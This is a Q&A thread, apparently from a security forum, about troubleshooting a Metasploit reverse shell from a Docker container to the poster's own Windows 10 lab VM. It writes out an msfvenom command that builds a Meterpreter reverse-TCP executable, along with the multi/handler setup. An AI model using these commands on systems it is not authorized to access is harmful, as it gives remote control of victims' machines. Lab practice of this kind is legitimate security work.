I am running metasploit on docker from: remnux/metasploit and I want to open a reverse shell on a virtual machine running windows 10 in virtual box. The docker container and the vm run on the same host machine with ip:

I go:

 sudo docker run --rm  -it -p 8080:8080 -v ~/.msf4:/root/.msf4 -v /tmp/msf:/tmp/data remnux/metasploit


 msfvenom  -p windows/meterpreter/reverse_tcp --platform windows -a x86
 LHOST= LPORT=8080 -f exe -o file.exe

And fire up msfconsole:

msf > use multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LPORT 8080
LPORT => 8080
msf exploit(handler) > set LHOST
msf exploit(handler) > exploit

[-] Handler failed to bind to  -
[*] Started reverse TCP handler on 
[*] Starting the payload handler...

Finally I open up file.exe on the windows10 machine and nothing happens. I checked that port 8080 was open on the host machine and that the vm could ping the host machine at

My virtualbox network configuration is set to bridged adapter.

Moreover I have no antivirus running on this vm and windows defender is down.

Does anyone have any idea to why this is not working? Thank you in advance.

  • failed to bind to appears to be relevant. What does netstat say?
    – schroeder
    Dec 13, 2016 at 18:24

1 Answer 1


From my understanding you have the following:

  • (host machine)
  • (VM)
  • 172.17.0.x (docker w/ metasploit ... can be obtained via docker inspect <container id>)

Since you are running metasploit from 172.17.0.x you should instead set LHOST=172.17.0.x

This should work because the docker engine sets up a route on your host to direct traffic from 172.17.x.x to docker0 bridge

You might have to set this route in your local network router as well (172.17.x.x to because its possible your VM is not using your Host computer as a gateway ... and is instead talking to your actual network gateway (depends on how your VM is setup).

  • Where did you get 172.17 from? Feb 24, 2017 at 14:17
  • "... can be obtained via docker inspect <container id>" Feb 24, 2017 at 14:29
  • K. I just don't see that in his question. Did some comments/answers get deleted? Feb 24, 2017 at 14:31
  • you dont see it in the question because its not in the question ... 172.17.x.x is the default docker range for new containers unless you change it ... and if you change it you already know what im talking about. Feb 24, 2017 at 15:53
  • This'll be the winner, shouldn't be any need for the routing from VM to container though as the port was exposed in the docker run statement. Mar 4, 2017 at 9:27

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .